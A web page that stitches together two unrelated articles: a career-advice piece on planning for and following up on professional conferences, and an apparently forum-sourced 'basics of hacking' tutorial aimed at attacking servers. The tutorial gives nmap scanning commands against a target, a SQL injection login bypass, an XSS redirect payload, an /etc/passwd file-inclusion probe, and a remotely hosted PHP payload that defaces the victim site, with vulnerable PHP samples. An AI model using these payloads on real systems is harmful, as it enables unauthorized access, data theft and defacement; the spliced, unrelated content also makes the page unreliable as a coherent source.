How to Get the Most out of Your Next Conference

Success in your career depends upon how well you manage your professional development. A prime source of this development comes from being a member of a professional association that relates to your career. As a member, you can attend conferences where you advance your skills and meet people who can help you.

Some people, however, treat conferences as a paid vacation. They party, they skip sessions, and they return home with little more than a stack of receipts. That costs them (or their business) money and contributes nothing to professional growth.

Here's how to get the most out of your next conference.

1) Start With a Plan
First, make a list of your goals for attending the conference. For example, this could include the information that you want to gain, the relationships that you want to deepen, the people you want to meet, and the things that you want to buy. Also, make a list of questions that you want to have answered while you're at the conference. This list will help you focus on your personal agenda during the conference and will maximize your chances of returning with something of value.

Then, scan through the program to select those sessions that will help you the most. These could be on topics that teach skills leading to a promotion, help open new opportunities at work, or answer important questions about your career. If many valuable sessions are scheduled at the same time, then select your first and second choices. You may find that one of the sessions has been canceled or filled (sold out).

Highlight your top priority sessions so you can sign up or arrive early. These sessions generally have such great value that they justify attending the conference, and you want to make sure that you're there when they start.

If your boss must approve attending a conference, use your plan to justify your request. Be sure to include explanations of how the information, relationships, and participation at the conference will enhance your value to your company. Wise leaders always support someone who relates a request to the benefits that come from it.

2) Work the Plan
While at the conference keep your list of goals and questions in mind. Begin each day by checking your list and identifying those goals that you can achieve during that day. For example, some sessions may provide information that answers some of your questions.

At the end of the day review your list and check off those goals that you accomplished. If you discover new opportunities, then add them to your list of goals. And if you find yourself stuck on reaching a goal, seek out a senior member whom you can ask for advice on how to achieve it.

3) Meet People
Often the greatest benefit of attending a conference will be the relationships that you start while there. These relationships can become sources of information, friendship, and job opportunities.


Thus, make it a point to meet new people. Instead of spending all of your time with friends or colleagues, go off on your own. Join other people for meals. Sit next to them during the sessions. Start conversations while walking between sessions. And be sure to ask for a business card. Then you can add that person's contact information into your contact database.

I encourage you to introduce yourself to the speakers. They were invited to speak at the conference because of their expertise in your profession. Thus, they can become valuable resources for information, assistance, and referrals. The best time to meet speakers is right after they finish their presentation. Introduce yourself, offer a brief compliment on the presentation, and ask for a business card. Of course, if you meet them again at the conference, use this as an opportunity to talk further.

4) Apply What You Gained
When you return home, set aside an hour or so to review the notes that you took while at the conference. You may want to schedule this on your calendar before you leave for the conference.

Review your notes, identifying the main ideas. Then convert each of these ideas into an action on your list of things to do. Once you finish the list add a completion date and assign a priority. Recognize that this step converts everything that you learned, collected, and gained during the conference into tangible benefits for yourself and your company.

If you are an employee, I recommend writing a report for your management. Document the key ideas that you gained and describe how they can be applied to your work. If you're an independent, you may still want to write such a report for yourself because this formalizes what you gained from the conference.

5) Be Grateful
When you return home, write thank you notes to the people who helped you at the conference. This simple courtesy sets you apart as an exceptional person. I especially recommend writing notes to:

1) The leaders in the association. They worked hard to organize the event.
2) Members of the staff who helped you. These people can help you get the most out of your membership.
3) The speakers. This could start relationships with experts and celebrities in your profession.
4) New friends. This makes you memorable when you meet again at the next conference.

Use a conference to immerse yourself in the society and the technology of your profession. And then apply what you gained to advance your career.

read more...

The Absolute Basics of Hacking

Intro
Hello and welcome to this tutorial. If you see all the text on this page, and are afraid, you're not meant to be a hacker, quit now. Also, please know now that unlike in the movies, not everything is hackable. I will be writing about the basics of hacking servers; I will cover how to scan and/or exploit vulnerable daemons (services) running on the target server, and how to discover and/or exploit web-script vulnerabilities. You will need to know your way around a computer before reading this. And if you don't know what a word means, Google or Wiki it!; if you don't understand a concept, post here and I will try to clarify. Thanks for reading, hope this helps.

Recommended Tools
Port Scanner - nmap - http://nmap.org/
Browser - FireFox - http://firefox.com/

Daemon Vulnerabilities
Description
Daemons (also commonly known as services) are the processes that run on a computer that allow it to do things such as serve pages with the HTTP protocol, etc. (although they do not always necessarily interact over a network). Sometimes these daemons are poorly coded, which allows for an attacker to send some sort of input to them, and they either crash, or in worse cases, they run any code the attacker chooses.

Scanning For Vulnerabilites
Well, this is where a little common sense comes in, because we need to answer one question: Which ports to scan? Well, with a little googling, we'd know that the default port for the HTTPD (web daemon) is 80, for the FTPD it's 21, etc. So if we wanted to know the version of the HTTPD running on the server, we'd run "nmap targetsite.com -p 80 -sV". NOTICE the -sV argument; it is vital, otherwise nmap will just return whether or not the port is open, and won't provide us with the daemon's version. This is great and all, but we don't want to just scan one port at a time do we? Well nmap has us covered there, so just scan multiple ports by seperating each target port with a comma (,) like so: "nmap targetsite.com -p 21,80 -sV". However, if you don't mind the scan taking a while longer, you can scan a range of ports like so: "nmap targetsite.com -p 1-1000 -sV". This will scan all ports between 1 and 1000.

Checking For Vulnerability
After your scan has finished, nmap will display the open ports on your target, along with their version (if they were identifiable, usually they are). An example return would look like this: "80/tcp open http Apache httpd 2.0.32". Taking this information, we search on milw0rm for "Apache". After skimming through the results, we see that the target is vulnerable to this vulnerability, which when run on the target server will make it crash.

Using the Exploits
This varies, depending on the language that the exploit is coded in; google on how to do this, since it would just be wasting my time how to use all of the different languages here.

Common Web-Script Vulnerabilities
Description
In this section, I will be writing about vulnerabilities in a webserver's server-sided code. Here are the topics I will be covering:

• SQL Injection
• XSS (Cross-Site Scripting)
• RFI/LFI (Remote/Local File Include)
  

SQL Injection
Description
SQL injection is the act of injection your own, custom-crafted SQL commands into a web-script so that you can manipulate the database any way you want. Some example usages of SQL injection: Bypass login verification, add new admin account, lift passwords, lift credit-card details, etc.; you can access anything that's in the database.

Example Vulnerable Code - login.php (PHP/MySQL)
Here's an example of a vulnerable login code

<?php
$user = $_POST['u'];
$pass = $_POST['p'];

if (!isset($user) || !isset($pass)) {
    echo("<form method=post><input type=text name=u value=Username><br /><input type=password name=p value=Password><br /><input type=submit value=Login></form>");
} else {
    $sql = "SELECT `IP` FROM `users` WHERE `username`='$user' AND `password`='$pass'";
    $ret = mysql_query($sql);
    $ret = mysql_fetch_array($ret);
    if ($ret[0] != "") {
        echo("Welcome, $user.");
    } else {
        echo("Incorrect login details.");
    }
}
?>

 Basically what this code does, is take the username and password input, and takes the users's IP from the database in order to check the validity of the username/password combo.

Testing Inputs For Vulnerability
Just throw an "'" into the inputs, and see if it outputs an error; if so, it's probably injectable. If it doesn't display anything, it might be injectable, and if it is, you will be dealing with blind SQL injection which anyone can tell you is no fun. Else, it's not injectable.

The Example Exploit
Let's say we know the admin's username is Administrator and we want into his account. Since the code doesn't filter our input, we can insert anything we want into the statement, and just let ourselves in. To do this, we would simply put "Administrator" in the username box, and "' OR 1=1--" into the password box; the resulting SQL query to be run against the database would be "SELECT `IP` FROM `users` WHERE `username`='Administrator' AND `password='' OR 1=1--'". Because of the "OR 1=1", it will have the ability to ignore the password requirement, because as we all know, the logic of "OR" only requires one question to result in true for it to succeed, and since 1 always equals 1, it works; the "--" is the 'comment out' character for SQL which means it ignores everything after it, otherwise the last "'" would ruin the syntax, and just cause the query to fail.

XSS (Cross-Site Scripting)
Description
This vulnerability allows for an attacker's input to be sent to unsuspecting victims. The primary usage for this vulnerability is cookie stealing; if an attacker steals your cookie, they can log into whatever site they stole your cookie from under your account (usually, and assuming you were logged in at the time.)

Example Vulnerable Code - search.php (PHP)

<?php
$s = $_GET['search'];
// a real search engine would do some database stuff here
echo("You searched for $s. There were no results found");
?>

 

Testing Inputs For Vulnerability
For this, we test by throwing some HTML into the search engine, such as "<font color=red>XSS</font>". If the site is vulnerable to XSS, you will see something like this: XSS, else, it's not vulnerable.

Example Exploit Code (Redirect)
Because we're mean, we want to redirect the slave to goatse (don't look that up if you don't know what it is) by tricking them into clicking on a link pointed to "search.php?search=<script>window.location='http://goatse.cz/'</script>". This will output "You searched for <script>window.location='http://goatse.cz/'</script>. There were no results found" (HTML) and assuming the target's browser supports JS (JavaScript) which all modern browsers do unless the setting is turned off, it will redirect them to goatse.

RFI/LFI (Remote/Local File Include)
Description
This vulnerability allows the user to include a remote or local file, and have it parsed and executed on the local server.

Example Vulnerable Code - index.php (PHP)

<?php
$page = $_GET['p'];
if (isset($page)) {
    include($page);
} else {
    include("home.php");
}
?>

Testing Inputs For Vulnerability
Try visiting "index.php?p=http://www.google.com/"; if you see Google, it is vulnerable to RFI and consequently LFI. If you don't it's not vulnerable to RFI, but still may be vulnerable to LFI. Assuming the server is running *nix, try viewing "index.php?p=/etc/passwd"; if you see the passwd file, it's vulnerable to LFI; else, it's not vulnerable to RFI or LFI.

Example Exploit
Let's say the target is vulnerable to RFI and we upload the following PHP code to our server

PHP Code:

<?php
unlink("index.php");
system("echo Hacked > index.php");
?>

and then we view "index.php?p=http://our.site.com/malicious.php" then our malicious code will be run on their server, and by doing so, their site will simply say 'Hacked' now.

Conclusion
Tutorial inspired by: the avoidance of homework. Now that you read all that, gtfo.

read more...